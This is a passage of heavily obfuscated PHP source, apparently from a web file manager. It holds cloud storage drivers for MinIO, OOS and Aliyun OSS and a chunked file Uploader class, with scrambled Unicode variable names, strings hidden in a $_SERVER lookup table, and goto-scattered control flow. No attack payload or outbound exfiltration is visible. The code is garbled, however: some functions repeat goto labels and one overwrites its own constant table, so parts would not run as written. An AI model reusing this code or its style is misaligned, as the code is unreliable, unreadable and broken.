$this->handle->set($dƋ, $b, $A); } public function get($c茺) { return $this->handle->get($c茺); } public function remove($fȾّ) { return $this->handle->delete($fȾّ); } public function deleteAll() { return $this->handle->flush(); } } goto f͈ۂ; f: define($_SERVER[ڊ][224], 2); define($_SERVER[ڊ][225], 3); define($_SERVER[ڊ][226], 1); goto c睔; e: class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($E) { parent::__construct($E); $this->signatureVersion($_SERVER[ڊ][197]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($A) { parent::__construct($A); $this->signatureVersion($_SERVER[ڊ][197]); } public function fileOutLink($c捕) { $cʊ =& $_SERVER[ڊ]; if (substr($c捕, 0, 7) == $cʊ[1100]) { $c捕 = $cʊ[1101] . substr($c捕, 7); } header($cʊ[153] . $c捕); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public function __construct($Aꭃ) { parent::__construct(); include_once SDK_DIR . $_SERVER[ڊ][1158]; $this->_init($Aꭃ); } public function _init($C绶ʧ) { foreach ($C绶ʧ as $A̪ => $E) { if (isset($this->{$A̪})) { $this->{$A̪} = $E; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { show_json($_SERVER[ڊ][1159], !1); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { goto eȧך; e㰎: $BÎ->addRule($eޭ); try { $this->client->putBucketCors($this->bucket, $BÎ); } catch (OSS\Core\OssException $bɏ) { return !1; } return !0; goto E; eȧך: $bڙҨ =& $_SERVER[ڊ]; $BÎ = new OSS\Model\CorsConfig(); $eޭ = new OSS\Model\CorsRule(); goto B; D؛: $eޭ->setMaxAgeSeconds(600); $eޭ->addExposeHeader($bڙҨ[1165]); $eޭ->addAllowedHeader($bڙҨ[1160]); goto e㰎; B: $eޭ->addAllowedOrigin($bڙҨ[1160]); $eޭ->addAllowedMethod($bڙҨ[1161]); $eޭ->addAllowedMethod($bڙҨ[1162]); goto EݤϠ; EݤϠ: $eޭ->addAllowedMethod($bڙҨ[1163]); $eޭ->addAllowedMethod($bڙҨ[1164]); $eޭ->addAllowedMethod($bڙҨ[152]); goto D؛; E: } public function getBucketCors() { goto a; A: if (!$A || !($BԲ = $A->getRules())) { return null; } $d׫ = $BԲ[0]->getAllowedOrigins(); $E𨍯 = $BԲ[0]->getAllowedMethods(); goto dХ; a: $b =& $_SERVER[ڊ]; $A = null; try { $A = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $B܇) { return null; } goto A; dХ: $c郼 = $BԲ[0]->getMaxAgeSeconds(); $a͸ = $BԲ[0]->getExposeHeaders(); $aڜƛ = $BԲ[0]->getAllowedHeaders(); goto aǼ; aǼ: return array($b[172] => isset($d׫[0]) ? $d׫[0] : $b[33], $b[176] => $E𨍯, $b[1166] => $c郼, $b[1167] => isset($a͸[0]) ? $a͸[0] : $b[33], $b[174] => isset($aڜƛ[0]) ? $aڜƛ[0] : $b[33]); goto D륋; D륋: } public function isBucketCors() { goto Fة; Fة: $b՘ʓ =& $_SERVER[ڊ]; $aĢ = $this->getBucketCors(); if (!$aĢ || !is_array($aĢ)) { return !1; } goto aū輤; aū輤: if ($aĢ[$b՘ʓ[172]] != $b՘ʓ[173] || $aĢ[$b՘ʓ[174]] != $b՘ʓ[173]) { return !1; } $bĶ䆑 = array_map($b՘ʓ[175], $aĢ[$b՘ʓ[176]]); if (!is_array($bĶ䆑)) { $bĶ䆑 = array(); } goto b䫣; b䫣: $a = array($b՘ʓ[177], $b՘ʓ[178], $b՘ʓ[179], $b՘ʓ[180], $b՘ʓ[181]); $aø = array_diff($a, $bĶ䆑); return empty($aø); goto Eğ; Eğ: } public function mkfile($eԸ, $dև = '', $c׿ = REPEAT_RENAME) { $BŽݮ = $this->setContent($eԸ, $dև); if ($BŽݮ !== !1) { return $this->getPathOuter($eԸ); } return !1; } public function mkdir($a̐, $dݦ = REPEAT_SKIP) { if ($this->_isFolder($a̐)) { return $this->getPathOuter($a̐); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($a̐)); } catch (OSS\Core\OssException $eԛЯ) { return !1; } return $this->getPathOuter($a̐); } private function fileList($Aٳ, $eޑǪ = '', $b蕞 = 0) { goto Aڷ؟; Aڷ؟: $B =& $_SERVER[ڊ]; $Aٳ = trim($Aٳ, $B[8]); $F弶 = empty($Aٳ) ? $B[33] : $Aٳ . $B[8]; goto c覊; c覊: $Fੌ = $B[33]; $D׍ = 1000; $B = $aх = array(); goto A; A: while (!0) { $B = array($B[1168] => $eޑǪ, $B[183] => $F弶, $B[1169] => $D׍, $B[1170] => $Fੌ); try { $e = $this->client->listObjects($this->bucket, $B); } catch (OSS\Core\OssException $Fү‹) { break; } $Fੌ = $e->getNextMarker(); $F娐Ƒ = $e->getObjectList(); $E̦ = $e->getPrefixList(); foreach ($F娐Ƒ as $A) { if ($A->getKey() == $F弶) { continue; } $cߺ = $A->getKey(); if ($b蕞) { $cߺ = array($B[28] => $cߺ, $B[77] => $A->getSize(), $B[187] => strtotime($A->getLastModified())); } $aх[] = $cߺ; } foreach ($E̦ as $Cꭎ) { $B[] = $Cꭎ->getPrefix(); } if ($Fੌ === $B[33]) { break; } } return array($B[74] => $B, $B[73] => $aх); goto D짃; D짃: } public function copyFile($fևޥ, $eۇϫ) { $F = $this->size($fևޥ); if ($F < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $fևޥ, $this->bucket, $this->pathEncode($eۇϫ)); } catch (OSS\Core\OssException $Dُ) { return !1; } return !0; } return $this->multiCopyObject($fևޥ, $eۇϫ, $F); } private function multiCopyObject($DȬ, $cʭ, $aƳ) { $B콎 =& $_SERVER[ڊ]; try { goto fϡ; F: $Bڰܶ = $this->osChunkSize(); $E۽ޝȎ = $this->client->generateMultiuploadParts($aƳ, $Bڰܶ); foreach ($E۽ޝȎ as $c› => $Aȑ) { $C = $B + (int) $Aȑ[$B콎[1172]]; $C = (int) $Aȑ[$B콎[322]] + $C - 1; $Aꂙ = array($B콎[1173] => $C, $B콎[1174] => $C); $FȔ[] = $this->client->uploadPartCopy($this->bucket, $DȬ, $this->bucket, $this->pathEncode($cʭ), $Aߒ, $C, $Aꂙ); $Aߒ = $Aߒ + 1; } goto e…; e…: $eں = array(); foreach ($FȔ as $c› => $e) { $eں[] = array($B콎[1175] => $c› + 1, $B콎[1176] => $e); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($cʭ), $C, $eں); goto aʟ; fϡ: $BѴ = array(); if ($AҒ = $this->hashMd5($DȬ)) { $BѴ = array(OSS\OssClient::OSS_HEADERS => array($B콎[1171] => $AҒ)); } $C = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($cʭ), $BѴ); goto E󟉆; E󟉆: $Aߒ = 1; $B = 0; $FȔ = array(); goto F; aʟ: } catch (OSS\Core\OssException $Fű) { return !1; } return !0; } public function moveFile($Aнѱ, $DNJ) { if ($this->copyFile($Aнѱ, $DNJ)) { $this->remove($Aнѱ); return !0; } return !1; } public function delFile($b) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($b)); } catch (OSS\Core\OssException $Eͥ) { return !1; } return !0; } public function delFolder($fц) { $e؏ =& $_SERVER[ڊ]; $cፏ = $this->fileList($fц); if (!empty($fц) && !in_array(trim($fц, $e؏[8]) . $e؏[8], $cፏ[$e؏[73]])) { $cፏ[$e؏[73]][] = trim($fц, $e؏[8]) . $e؏[8]; } foreach (array_chunk($cፏ[$e؏[73]], 1000) as $ȇ) { try { $this->client->deleteObjects($this->bucket, $ȇ); } catch (OSS\Core\OssException $AΉ) { continue; } } return !0; } public function rename($C, $E暠) { return $this->renameObject($C, $E暠); } private function fileInfo($Alj, $dȔˬ = array()) { goto dć; DҜ: if (isset($dȔˬ[$e۾[77]])) { $Eъݔ[$e۾[77]] = $dȔˬ[$e۾[77]]; } if (isset($dȔˬ[$e۾[107]])) { $Eъݔ[$e۾[107]] = $dȔˬ[$e۾[107]]; } if (isset($dȔˬ[$e۾[187]]) && !trim($Eъݔ[$e۾[107]])) { $Eъݔ[$e۾[107]] = $dȔˬ[$e۾[187]]; } goto Bꦥ޺; dć: $e۾ =& $_SERVER[ڊ]; $Eъݔ = array($e۾[28] => $this->pathThis($Alj), $e۾[75] => $this->getPathOuter($Alj), $e۾[29] => $e۾[164], $e۾[184] => 0, $e۾[107] => 0, $e۾[77] => 0, $e۾[157] => $this->ext($Alj), $e۾[185] => !0, $e۾[186] => !0); if (empty($dȔˬ)) { $E = $this->objectMeta($Alj); if (!$E) { return $Eъݔ; } $dȔˬ = array($e۾[107] => strtotime($E[$e۾[1177]]), $e۾[77] => $E[$e۾[1178]] + 0); } goto DҜ; Bꦥ޺: return $Eъݔ; goto a㥅; a㥅: } private function folderInfo($cқ, $F = array()) { $Fܰ =& $_SERVER[ڊ]; $f’ = array($Fܰ[28] => $this->pathThis($cқ), $Fܰ[75] => $this->getPathOuter($Fܰ[8] . $cқ), $Fܰ[29] => $Fܰ[76], $Fܰ[184] => 0, $Fܰ[107] => 0, $Fܰ[185] => !0, $Fܰ[186] => !0); if (empty($F)) { $cқ = rtrim($cқ, $Fܰ[8]) . $Fܰ[8]; $e = $this->objectMeta($cқ); if (!$e) { return $f’; } $F = array($Fܰ[184] => $e[$Fܰ[1179]][$Fܰ[1180]], $Fܰ[107] => strtotime($e[$Fܰ[1177]])); } if (isset($F[$Fܰ[107]])) { $f’[$Fܰ[107]] = $F[$Fܰ[107]]; } if (isset($F[$Fܰ[184]])) { $f’[$Fܰ[184]] = $F[$Fܰ[184]]; } return $f’; } public function listPath($aՎԡ, $d윎 = false) { $fӶ =& $_SERVER[ڊ]; $a = $this->fileList($aՎԡ, $fӶ[8], !0); foreach ($a[$fӶ[74]] as $bϣ => $B򮇥) { $a[$fӶ[74]][$bϣ] = $this->folderInfo($B򮇥, $B򮇥); } foreach ($a[$fӶ[73]] as $bϣ => $B򮇥) { $a[$fӶ[73]][$bϣ] = $this->fileInfo($B򮇥[$fӶ[28]], $B򮇥); } return $a; } public function has($AА, $F㽄 = false, $d = true) { goto Eɑı; D⻧: $Cřنߑ = $Aϖԭ[33]; $aɖ = 500; $cЅ = 0; goto d—ܠ; Dω: return !1; goto Fވ; Eɑı: $Aϖԭ =& $_SERVER[ڊ]; $AА = trim($AА, $Aϖԭ[8]); $Aζ = empty($AА) ? $Aϖԭ[33] : $AА . $Aϖԭ[8]; goto D⻧; d—ܠ: $A㋍؞ = 0; while (!0) { $aޅ = array($Aϖԭ[1168] => $Aϖԭ[8], $Aϖԭ[183] => $Aζ, $Aϖԭ[1169] => $aɖ, $Aϖԭ[1170] => $Cřنߑ); try { $a = $this->client->listObjects($this->bucket, $aޅ); } catch (OSS\Core\OssException $a) { break; } $Cřنߑ = $a->getNextMarker(); $b = $a->getObjectList(); $e = $a->getPrefixList(); if ($F㽄) { if (count($b) > 1 || count($b) == 1 && $b[0]->getKey() != $Aζ) { $cЅ += count($b) - 1; } if (!empty($e)) { $A㋍؞ += count($e); } if ($Cřنߑ === $Aϖԭ[33]) { break; } continue; } if ($d) { if (!empty($b)) { if (count($b) > 1 || $b[0]->getKey() != $Aζ) { return !0; } } } else { if (!empty($e)) { return !0; } } if ($Cřنߑ === $Aϖԭ[33]) { break; } } if ($F㽄) { return array($Aϖԭ[188] => $cЅ, $Aϖԭ[189] => $A㋍؞); } goto Dω; Fވ: } public function listAll($e) { $E =& $_SERVER[ڊ]; $C = $this->fileList($e, $E[33], !0); $Cւˇב = array(); foreach ($C[$E[73]] as $Fѕ) { $Cւˇב[$Fѕ[$E[28]]] = $Fѕ[$E[77]]; } return $this->listAllFiles($e, array_keys($Cւˇב), $Cւˇב); } public function canRead($F) { $Bܲ =& $_SERVER[ڊ]; $bÃ̿ = $this->pathAcl($F); return $bÃ̿ == $Bܲ[1181] || $bÃ̿ == $Bܲ[487] ? !0 : !1; } public function canWrite($dأ) { $eҠ˿ = $this->pathAcl($dأ); return $eҠ˿ == $_SERVER[ڊ][487] ? !0 : !1; } public function pathAcl($e­) { goto c샸; c샸: $b =& $_SERVER[ڊ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $dԼ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($e­)); } catch (OSS\Core\OssException $bɉ) { return !1; } goto F; d: return $C؅; goto dϬ; F: $C؅ = $dԼ == $b[34] ? $this->bucketAcl : $dԼ; if ($C؅ == $b[1182]) { return $b[1181]; } if ($C؅ == $b[1183]) { return $b[487]; } goto d; dϬ: } private function chmodPath($CՖ, $Bꇪ = '') { $d =& $_SERVER[ڊ]; $B׊ = empty($Bꇪ) ? $d[1183] : $Bꇪ; $Cކ = array($d[34], $d[182], $d[1182], $d[1183]); if (!in_array($B׊, $Cކ)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($CՖ), $B׊); } catch (OSS\Core\OssException $a) { return !1; } return !0; } public function getContent($E) { return $this->fileSubstr($E, -1); } public function setContent($C֒, $fǖ繒 = '') { $fț =& $_SERVER[ڊ]; try { $D’ = $this->trafficLimit($fț[1184]); $bՍ = $this->client->putObject($this->bucket, $this->pathEncode($C֒), $fǖ繒, $D’); } catch (OSS\Core\OssException $EС) { return !1; } $DɃ = array($fț[1171] => trim($bՍ[$fț[1185]], $fț[113]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($C֒))); $this->updateObjMeta($C֒, $DɃ); return isset($bՍ[$fț[1186]][$fț[1130]]) ? (int) $bՍ[$fț[1186]][$fț[1130]] : strlen($bՍ); } private function updateObjMeta($bĊ, $D阈đ) { $bĊ = $this->pathEncode($bĊ); try { $a = array(OSS\OssClient::OSS_HEADERS => $D阈đ); $this->client->copyObject($this->bucket, $bĊ, $this->bucket, $bĊ, $a); } catch (OSS\Core\OssException $Aե) { return !1; } return !0; } public function upload($bԃ, $E, $fġ = false, $A٨ = REPEAT_REPLACE) { $eŹ =& $_SERVER[ڊ]; $b = trim($bԃ, $eŹ[8]); $c圈 = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => $this->osChunkSize(), OSS\OssClient::OSS_HEADERS => array($eŹ[1171] => @md5_file($E)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($bԃ))); $c圈 = $this->trafficLimit($eŹ[1184], $c圈); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($b), $E, $c圈); } catch (OSS\Core\OssException $AΜ) { return !1; } return $this->getPathOuter($bԃ); } public function getHost() { $B =& $_SERVER[ڊ]; $Bۤେ = explode($B[168], parent::getHost()); return $Bۤେ[0] . $B[168] . $this->bucket . $B[93] . $Bۤେ[1]; } public function uploadFormData($D, $C = 3600) { goto b֭; F: $F݅ = base64_encode(hash_hmac($d㚑ߠ[215], $c캝, $this->secret, !0)); $F = array($d㚑ߠ[1097] => $c캝, $d㚑ߠ[1190] => $this->accessKey, $d㚑ߠ[1093] => $d㚑ߠ[1085], $d㚑ߠ[1191] => $F݅, $d㚑ߠ[166] => $e䙢); $F = $this->trafficLimit($d㚑ߠ[1184], $F); goto B; Aϛ: $D = date($d㚑ߠ[1187], time() + $b); $e = new DateTime($D); $a = $e->format(DateTime::ISO8601); goto bŒ; b֭: $d㚑ߠ =& $_SERVER[ڊ]; if (!($e䙢 = $this->getHost())) { return !1; } $b = $C; goto Aϛ; a: $b㮰 = $this->pathFather($D); $Eχȉ = array($d㚑ߠ[1087] => $a, $d㚑ߠ[1088] => array(array($d㚑ߠ[1189], 0, $f), array($d㚑ߠ[1091], $d㚑ߠ[1092], $b㮰))); $c캝 = base64_encode(json_encode($Eχȉ)); goto F; bŒ: $a傎 = strpos($a, $d㚑ߠ[281]); $a = substr($a, 0, $a傎) . $d㚑ߠ[1188]; $f = 1048576000 * 5; goto a; B: return $F; goto Aĝ; Aĝ: } public function multiUploadFormData($f, $F× = 3600) { $b =& $_SERVER[ڊ]; if (!($fɎ = $this->getHost())) { return !1; } $D䢡 = $this->trafficLimit($b[1184]); $c՜ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($f), $D䢡); return array($b[206] => $c՜, $b[166] => $fɎ . $b[8] . $this->pathEncode($f), $b[207] => gmdate($b[1192]), $b[89] => $f); } public function multiUploadAuthData($cȄچ, $bЬΠ = array()) { goto eǞƵ; eǞƵ: $BҐ =& $_SERVER[ڊ]; $E = isset($bЬΠ[$BҐ[207]]) ? $bЬΠ[$BҐ[207]] : gmdate($BҐ[1192]); $f؂Г = isset($bЬΠ[$BҐ[157]]) ? $bЬΠ[$BҐ[157]] : $BҐ[33]; goto D; E: $E葑 = $BҐ[1195] . $this->accessKey . $BҐ[4] . $f؉; if (strpos($f؂Г, $BҐ[210]) === 0) { $E葑 = array($BҐ[217] => $E葑, $BҐ[207] => $E); if ($Eՠѝ) { $E葑 = array_merge($E葑, $Eՠѝ); } } return $E葑; goto C; D: $d܊ = $cȄچ; if (isset($bЬΠ[$BҐ[89]])) { $d܊ = $bЬΠ[$BҐ[89]]; unset($bЬΠ[$BҐ[89]]); } if (isset($bЬΠ[$BҐ[208]])) { $bЬΠ[$BҐ[207]] = $E; return $this->listUploadParts($d܊, $bЬΠ); } goto D߅; D߅: $c䤊ɂ = array($BҐ[209], $BҐ[33], $BҐ[116], $E, "\x78\55\157\163\x73\x2d\x64\141\x74\145\x3a{$E}", $BҐ[8] . $this->bucket . $BҐ[8] . $d܊ . $f؂Г); if (strpos($f؂Г, $BҐ[210]) === 0) { $c䤊ɂ[0] = $BҐ[211]; if ($Eՠѝ = $this->trafficLimit($BҐ[1184])) { $d܊ = $BҐ[1193]; array_splice($c䤊ɂ, 5, 0, $d܊ . $BҐ[4] . $Eՠѝ[$d܊]); } } if (isset($bЬΠ[$BҐ[212]]) && $bЬΠ[$BҐ[212]] == $BҐ[213]) { $c䤊ɂ[0] = $BҐ[213]; } goto eר; eר: if (!empty($bЬΠ[$BҐ[1194]])) { $fɌ = array_merge(array($c䤊ɂ[4]), $bЬΠ[$BҐ[1194]]); sort($fɌ); $c䤊ɂ[4] = implode($BҐ[214], $fɌ); } $Eά = implode($BҐ[214], $c䤊ɂ); $f؉ = base64_encode(hash_hmac($BҐ[215], $Eά, $this->secret, !0)); goto E; C: } public function listUploadParts($A, $F皬) { goto bո; D: $E = $c->getListPart(); $Bǚ = array(); foreach ($E as $c錆) { $Bǚ[] = array($fܶ[1175] => $c錆->getPartNumber(), $fܶ[1176] => trim($c錆->getETag(), $fܶ[113])); } goto cۆŵ; bո: $fܶ =& $_SERVER[ڊ]; $fߐ̮ = parse_url_query($F皬[$fܶ[157]]); $c = $this->client->listParts($this->bucket, $this->pathEncode($A), $fߐ̮[$fܶ[206]]); goto D; cۆŵ: unset($F皬[$fܶ[208]], $F皬[$fܶ[212]]); $eޱ = $this->multiUploadAuthData($A, $F皬); if (empty($eޱ)) { return !1; } goto Fȅ; Fȅ: return array($fܶ[217] => $eޱ, $fܶ[207] => $F皬[$fܶ[207]], $fܶ[219] => $Bǚ); goto f; f: } public function download($Dᇕ, $f􉚸) { if ($this->isFolder($Dᇕ)) { return !1; } try { $aɍ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $f􉚸); $aɍ = $this->trafficLimit($_SERVER[ڊ][105], $aɍ); $this->client->getObject($this->bucket, $this->pathEncode($Dᇕ), $aɍ); } catch (OSS\Core\OssException $bϑ³) { return !1; } return $f􉚸; } public function fileSubstr($e秷, $CՕ = 0, $a = false) { if ($CՕ === -1) { $Aϑ = array(); } else { if ($a === !1) { $Bȫ롡 = $this->size($e秷); } else { $Bȫ롡 = $CՕ + $a - 1; } $Aϑ = array(OSS\OssClient::OSS_RANGE => "{$CՕ}\x2d{$Bȫ롡}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($e秷), $Aϑ); } catch (OSS\Core\OssException $c) { think_exception($c->getMessage()); return !1; } } private function trafficLimit($Bս, $cɸ = array()) { goto Aἄ; Aἄ: $D҈ =& $_SERVER[ڊ]; if ($Bս == $D҈[1184] && $this->isUploadServer() || $Bս == $D҈[105] && $this->isFileOutServer()) { return $cɸ; } $B = floatval($GLOBALS[$D҈[6]][$D҈[84]][$D҈[91]][$Bս]) * 1024 * 1024 * 8; goto Cحܖ; Cحܖ: if (!$B) { return $cɸ; } $B = $B < 819200 ? 819200 : ($B > 838860800 ? 838860800 : $B); $cɸ[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($B); goto eĎ; eĎ: return $cɸ; goto c˼; c˼: } public function link($AՐ, $eڽ = array()) { $F› =& $_SERVER[ڊ]; if (!$this->exist($AՐ) || $this->isFolder($AՐ)) { return !1; } try { $eڽ = $this->trafficLimit($F›[105], $eڽ); $E⼲ = $this->client->signUrl($this->bucket, $this->pathEncode($AՐ), 3600 * 12, $F›[213], $eڽ); return $this->getCdnLink($E⼲); } catch (OSS\Core\OssException $BǠ) { return !1; } } public function fileOut($Bҥ, $dГ = false, $C = false, $dզ = '') { goto cХ; Bѐ: $d̋ = get_file_mime(get_path_ext($C)); if ($d̋ == $f[198]) { return parent::fileOut($Bҥ, $dГ, $C, $dզ); } $dГ = $dГ ? $f[199] : $f[200]; goto dɰ; cХ: $f =& $_SERVER[ڊ]; if (!$C) { $C = $this->pathThis($Bҥ); } $C = rawurlencode($C); goto Bѐ; e: $this->fileOutLink($D#݄); goto fģӖَ; dɰ: $e = array(OSS\OssClient::OSS_SUB_RESOURCE => $f[1196] . rawurlencode("{$dГ}\73\x66\151\154\x65\156\x61\155\145\x3d{$C}")); $e[OSS\OssClient::OSS_SUB_RESOURCE] .= $f[1197] . $d̋; $D#݄ = $this->link($Bҥ, $e); goto e; fģӖَ: } public function fileOutServer($Aͮ, $B΍ = false, $e = false, $e瘵 = '') { parent::fileOut($Aͮ, $B΍, $e, $e瘵); } public function fileOutImage($Bڞě, $e = 250) { $Cż = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ڊ][1198] . $e); $Aѭ = $this->link($Bڞě, $Cż); $this->fileOutLink($Aѭ); } public function fileOutImageServer($eꏄ, $Aƞ = 250) { parent::fileOutImage($eꏄ, $Aƞ); } public function fileOutLink($DꜨ) { $a䕝 =& $_SERVER[ڊ]; if (!$this->isCdnHost() && substr($DꜨ, 0, 7) == $a䕝[1100]) { $DꜨ = $a䕝[1101] . substr($DꜨ, 7); } header($a䕝[153] . $DꜨ); die; } public function hashMd5($c, $dϛՆ = '') { $F־ =& $_SERVER[ڊ]; $cܭ = $this->objectMeta($c); if (!$cܭ) { return $F־[33]; } if (!isset($cܭ[$F־[1171]]) && !empty($dϛՆ)) { $a = $this->updateObjMeta($c, array($F־[1171] => $dϛՆ)); $cܭ[$F־[1171]] = $a ? $dϛՆ : $F־[33]; } return isset($cܭ[$F־[1171]]) ? strtolower($cܭ[$F־[1171]]) : $F־[33]; } public function size($Dɕ) { $E = $this->objectMeta($Dɕ); return $E ? $E[$_SERVER[ڊ][77]] : 0; } public function info($A) { if ($this->isFolder($A)) { return $this->folderInfo($A); } else { if ($this->isFile($A)) { return $this->fileInfo($A); } } return !1; } public function exist($B׫Ҹ) { return $this->isFile($B׫Ҹ) || $this->isFolder($B׫Ҹ); } public function isFile($dDZ) { return !$this->isFolder($dDZ) && $this->objectMeta($dDZ); } public function isFolder($C) { return $this->cacheMethod($_SERVER[ڊ][220], $C); } protected function objectMeta($f) { return $this->cacheMethod($_SERVER[ڊ][221], $f); } protected function _objectMeta($F늳) { $A򖅇 =& $_SERVER[ڊ]; try { $Bڂ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($F늳)); } catch (OSS\Core\OssException $fڒ) { $Bڂ = !1; } if ($Bڂ) { $Bڂ[$A򖅇[77]] = intval($Bڂ[$A򖅇[1178]]); } return $Bڂ; } protected function _isFolder($dޗ̡) { $AҞӾՑ =& $_SERVER[ڊ]; if ($dޗ̡ == $AҞӾՑ[33] || $dޗ̡ == $AҞӾՑ[8]) { return !0; } $b벞 = array($AҞӾՑ[1168] => $AҞӾՑ[8], $AҞӾՑ[183] => rtrim($dޗ̡, $AҞӾՑ[8]) . $AҞӾՑ[8], $AҞӾՑ[1169] => 1, $AҞӾՑ[1170] => $AҞӾՑ[33]); $eӂ = $this->client->listObjects($this->bucket, $b벞); if ($eӂ->getObjectList() || $eӂ->getPrefixList()) { return !0; } return !1; } } goto FҧԈ; Bު͍: class Uploader { public $fileName; public $uploadFile; public $tempFile; public function __construct() { goto cʝ; cʝ: $A =& $_SERVER[ڊ]; global $in; $this->in =& $in; goto e򩹙; e򩹙: if (!empty($_FILES)) { $CÊ = $_FILES[$A[164]]; $this->uploadFile = $CÊ[$A[1935]]; if (!$this->uploadFile && $CÊ[$A[1206]] > 0) { show_json($this->errorInfo($CÊ[$A[1206]]), !1); } } else { if (isset($in[$A[383]])) { $this->uploadFile = isset($in[$A[1936]]) ? $A[1937] : $A[1782]; } } $this->fileName = self::fileName(); $this->statusData = !1; goto CȌǂ; CȌǂ: $this->checkSize(); $this->tempPathInit(); goto bޡ; bޡ: } public function upload() { goto f暆; EȄ: if ($dױ۽ > 1 && $A <= 0) { show_json($F[1942], !1); } if ($A > $c) { $dױ۽ = 1; } if ($dױ۽ <= 1) { $this->tempFile = $this->tempFile . rand_string(5); $this->statusSet(!1); return $this->moveUploadedFile($this->tempFile); } goto b؊; b؊: CacheLock::lock($this->tempFile, 20); $aߥ = $this->statusGet(); $this->initFileTemp(); goto D; dޚ: CacheLock::unlock($this->tempFile); return $this->tempFile; goto cڥ; Eϻߔ: $aߥ[$F[1948]][$F[1949] . $aϰ鯝] = array($F[1950] => $F, $F[1028] => $aϰ鯝, $F[77] => $c, $F[161] => $fޔ); $this->statusSet($aߥ); if (count($aߥ[$F[1948]]) != $aߥ[$F[1947]]) { $this->showJson($F[1951] . $aϰ鯝, !0); } goto bƬΜ; bޒ: $F = $aϰ鯝 * $A; $Dʌ = @fopen($this->tempFile, $F[1945]); fseek($Dʌ, $F); goto cߪ; D: $F = $this->moveUploadedFile($F৯); if ($c > 0 && filesize($F) == 0) { $this->showJson($F[1943], !1); } if (!$F) { $this->showJson(LNG($F[1944]), !1); } goto bޒ; f暆: $F =& $_SERVER[ڊ]; $aϰ鯝 = isset($this->in[$F[1938]]) ? intval($this->in[$F[1938]]) : 0; $dױ۽ = isset($this->in[$F[1939]]) ? intval($this->in[$F[1939]]) : 1; goto D; cߪ: $cä = $this->writeTo($F, $Dʌ, $this->tempFile); $fޔ = IO::hashSimple($F); $c = IO::size($F); goto aֽ; D: $F৯ = $this->tempFile . $F[1940] . $aϰ鯝; $c = isset($this->in[$F[516]]) ? intval($this->in[$F[516]]) : 0; $A = isset($this->in[$F[1941]]) ? intval($this->in[$F[1941]]) : 0; goto EȄ; bƬΜ: ignore_timeout(); if (!$this->checkChunkHash($aߥ)) { $this->showJson($F[1952], !1); } $this->statusSet(!1); goto dޚ; aֽ: @unlink($F); if (!$cä) { $this->showJson($F[1946] . $aϰ鯝, !1); } $aߥ[$F[1947]] = $dױ۽; goto Eϻߔ; cڥ: } private function checkSize() { $Elj =& $_SERVER[ڊ]; if (phpBuild64() || $this->in[$Elj[77]] < PHP_INT_MAX) { return; } show_json(LNG($Elj[1953]), !1); } private function showJson($bշ, $C) { CacheLock::unlock($this->tempFile); if (!$C) { return show_json($bշ, $C); } show_json($bշ, $C); } public function clearData() { $this->statusSet(!1); if (file_exists($this->tempFile)) { @unlink($this->tempFile); return; } } private function tempPathInit() { goto f; d: $this->tempFile = $A . $cĖ[1956] . md5($Eى˻ . $this->in[$cĖ[1500]]); goto Aů; f: $cĖ =& $_SERVER[ڊ]; $A = TEMP_FILES; @mk_dir($A); goto EѢ; EѢ: touch($A . $cĖ[1954]); $Eى˻ = isset($this->in[$cĖ[1955]]) ? $this->in[$cĖ[1955]] : !1; if (strlen($Eى˻) < 30) { $Eى˻ = md5(USER_ID . $this->in[$cĖ[75]] . $this->fileName . $this->in[$cĖ[77]]); } goto d; Aů: } private function moveUploadedFile($c) { $BŎ =& $_SERVER[ڊ]; $eڤ = $this->uploadFile; if ($eڤ == $BŎ[1957]) { @file_put_contents($c, base64_decode($_REQUEST[$BŎ[1958]])); } else { if ($eڤ == $BŎ[1782]) { $F = @fopen($c, $BŎ[1489]); $this->writeTo($eڤ, $F, $c); } else { if (!move_uploaded_file($eڤ, $c)) { return !1; } } } return $c; } private function writeTo($Fڵ, $c결, $Fɜʭ) { goto Eѝ匰И; Eˋ: $DЉ = @fopen($Fڵ, $cڥè[1488]); if (!$DЉ || !$c결 || !$E) { CacheLock::unlock($dϙ); return !1; } while (!feof($DЉ)) { fwrite($c결, fread($DЉ, 1024 * 200)); } goto Fͬ; Eѝ匰И: $cڥè =& $_SERVER[ڊ]; $dϙ = $cڥè[1959] . $Fɜʭ; $E = CacheLock::lock($dϙ, 1); goto Eˋ; Fͬ: fclose($DЉ); fclose($c결); CacheLock::unlock($dϙ); goto A; A: return !0; goto b; b: } private function statusGet() { goto F; F: $b =& $_SERVER[ڊ]; if (is_array($this->statusData)) { return $this->statusData; } $f = $this->tempFile . $b[1960]; goto F; F: $dㄎ = !1; if (file_exists($f)) { $dㄎ = @file_get_contents($f); } if ($dㄎ) { $this->statusData = unserialize($dㄎ); } goto B; B: if (!$this->statusData) { $Eý = array($b[28] => $this->fileName, $b[1947] => 0, $b[1948] => array()); 